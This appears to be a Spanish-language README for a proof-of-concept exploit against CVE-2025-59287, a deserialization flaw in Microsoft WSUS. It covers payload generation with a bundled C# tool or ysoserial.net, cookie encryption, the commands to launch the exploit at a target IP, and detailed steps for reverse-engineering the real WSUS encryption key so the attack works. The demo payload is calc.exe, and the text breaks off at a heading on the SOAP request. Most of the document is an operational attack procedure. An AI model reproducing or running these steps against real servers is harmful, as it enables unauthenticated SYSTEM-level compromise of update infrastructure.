Exploit de Prueba de Concepto CVE-2025-59287

Resumen de la Vulnerabilidad

CVE-2025-59287 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Microsoft Windows Server Update Services (WSUS). La vulnerabilidad es causada por una deserialización insegura de datos AuthorizationCookie a través de BinaryFormatter en el método EncryptionHelper.DecryptData().

Impacto: Atacantes no autenticados pueden lograr ejecución remota de código con privilegios de SYSTEM enviando cookies cifradas maliciosas al endpoint GetCookie().

Puntuación CVSS: Crítica (9.8)

Detalles de la Vulnerabilidad

• Componente Afectado: Endpoint GetCookie() de WSUS ClientWebService.asmx
• Causa Raíz: BinaryFormatter.Deserialize() llamado sobre entrada no confiable sin validación adecuada
• Vector de Ataque: Cookie cifrada maliciosa enviada al endpoint SOAP GetCookie()
• Autenticación Requerida: No (RCE no autenticado)
• Puertos Afectados: 8530 (HTTP), 8531 (HTTPS)

Arquitectura

┌─────────────────┐
│   Atacante      │
│                 │
│  1. Generar     │
│     Payload     │
│     BinaryFmt   │
│                 │
│  2. Cifrar      │
│     Payload     │
│                 │
│  3. Enviar      │
│     Solicitud   │
│     SOAP        │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   Servidor WSUS │
│                 │
│  Endpoint       │
│  GetCookie()    │
│                 │
│  DecryptData()  │◄─── Vulnerable
│                 │
│  BinaryFormatter│◄─── Deserialización Insegura
│  Deserialize()  │
│                 │
│  Ejecutar       │◄─── RCE como SYSTEM
│  Payload        │
└─────────────────┘

Estructura de Archivos

exploit-poc/
├── wsus_exploit.py                    # Script principal del exploit
├── BinaryFormatterPayloadGenerator.cs # Generador de payload .NET (C#)
├── encrypt_payload.py                 # Asistente de cifrado WSUS
├── requirements.txt                   # Dependencias de Python
└── README.md                          # Este archivo

Requisitos Previos

Entorno Python

pip install -r requirements.txt

.NET Framework (para generación de payload)

• Windows con .NET Framework 4.0 o posterior
• O usar ysoserial.net como alternativa

Uso

Método 1: Flujo de Trabajo Completo

Paso 1: Generar Payload BinaryFormatter

Opción A: Usando el generador C# proporcionado

# Compilar el generador
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# Generar payload
BinaryFormatterPayloadGenerator.exe calc.exe
# Crea: payload_YYYYMMDDHHMMSS.bin

Opción B: Usando ysoserial.net (Recomendado)

ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

Paso 2: Cifrar el Payload

python encrypt_payload.py payload.bin -o encrypted_cookie.txt

IMPORTANTE: La clave de cifrado en encrypt_payload.py es un marcador de posición. Para una explotación real, debes:

1. Hacer ingeniería inversa de la clave de cifrado real desde los binarios de WSUS
2. Actualizar encrypt_payload.py con la clave real
3. Consultar la sección "Encontrar la Clave de Cifrado de WSUS" a continuación

Paso 3: Ejecutar el Exploit

# Usando archivo de payload (cifrará sobre la marcha)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# Usando cookie pre-cifrada
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# Con HTTPS (puerto 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

Método 2: Prueba Rápida

# Generar, cifrar y explotar en un solo paso
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <IP_OBJETIVO> -f payload_*.bin

Encontrar la Clave de Cifrado Real de WSUS

La clave de cifrado debe extraerse de los binarios de WSUS para una explotación real.

Método 1: Ingeniería Inversa con dnSpy

1. Localizar DLLs de WSUS:

   %ProgramFiles%\Update Services\WebServices\bin\
   

   O el directorio web de IIS:

   %SystemDrive%\inetpub\wwwroot\wsusadmin\
   

2. Abrir en dnSpy (descompilador .NET gratuito):

   • Descargar: https://github.com/dnSpy/dnSpy
   • Abrir Microsoft.UpdateServices.WebServices.dll

3. Buscar EncryptionHelper:

   • Navegar a: espacio de nombres Microsoft.UpdateServices.WebServices
   • Encontrar la clase EncryptionHelper
   • Observar los métodos DecryptData() y EncryptData()
   • Extraer la clave de cifrado y el algoritmo

4. Patrones comunes:

   • Matrices de bytes codificadas
   • Constantes de cadena
   • Derivación de clave desde GUID/SID de la máquina

Método 2: Análisis en Tiempo de Ejecución

1. Usar WinDbg o x64dbg:

   • Establecer punto de interrupción en EncryptionHelper.DecryptData()
   • Inspeccionar memoria/registros para material de clave
   • Monitorear operaciones de cifrado/descifrado

2. Usar Process Monitor:

   • Filtrar por proceso de WSUS
   • Buscar acceso a registro/archivos de configuración
   • Las claves podrían estar almacenadas en el registro

Método 3: Análisis Estático

1. Usar IDA Pro o Ghidra:

   • Cargar binarios de WSUS
   • Buscar cadenas relacionadas con cifrado
   • Analizar algoritmos de derivación de clave

2. Usar la utilidad strings:

   strings Microsoft.UpdateServices.WebServices.dll | grep -i key
   strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
   

Actualizar el Exploit

Una vez que tengas la clave real, actualiza encrypt_payload.py:

# Reemplaza esta línea en encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # MARCADOR DE POSICIÓN

# Con la clave real:
key_material = b"CLAVE_REAL_DE_BINARIOS_WSUS"

O pásala por línea de comandos:

python encrypt_payload.py payload.bin -k "CLAVE_REAL"

Flujo del Exploit

┌─────────────────────────────────────────────────────────────┐
│ 1. Generar Payload BinaryFormatter                          │
│    ObjectDataProvider → Process.Start() → Ejecución de      │
│    Comando                                                  │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Cifrar Payload                                            │
│    AES-128-CBC con clave de cifrado WSUS                    │
│    Codificación Base64 para transmisión                     │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Crear Solicitud SOAP                                      │
│    El encabezado AuthorizationCookie contiene el payload     │
│    cifrado                                                   │
│    Método GetCookie() en el cuerpo SOAP                     │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Enviar al Endpoint WSUS                                   │
│    POST /ClientWebService/ClientWebService.asmx              │
│    Puerto 8530 (HTTP) o 8531 (HTTPS)                         │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. Procesamiento WSUS                                        │
│    DecryptData() descifra la cookie                          │
│    BinaryFormatter.Deserialize() ejecuta el payload          │
│    → RCE como SYSTEM                                         │
└─────────────────────────────────────────────────────────────┘

Estructura de la Solicitud SOAP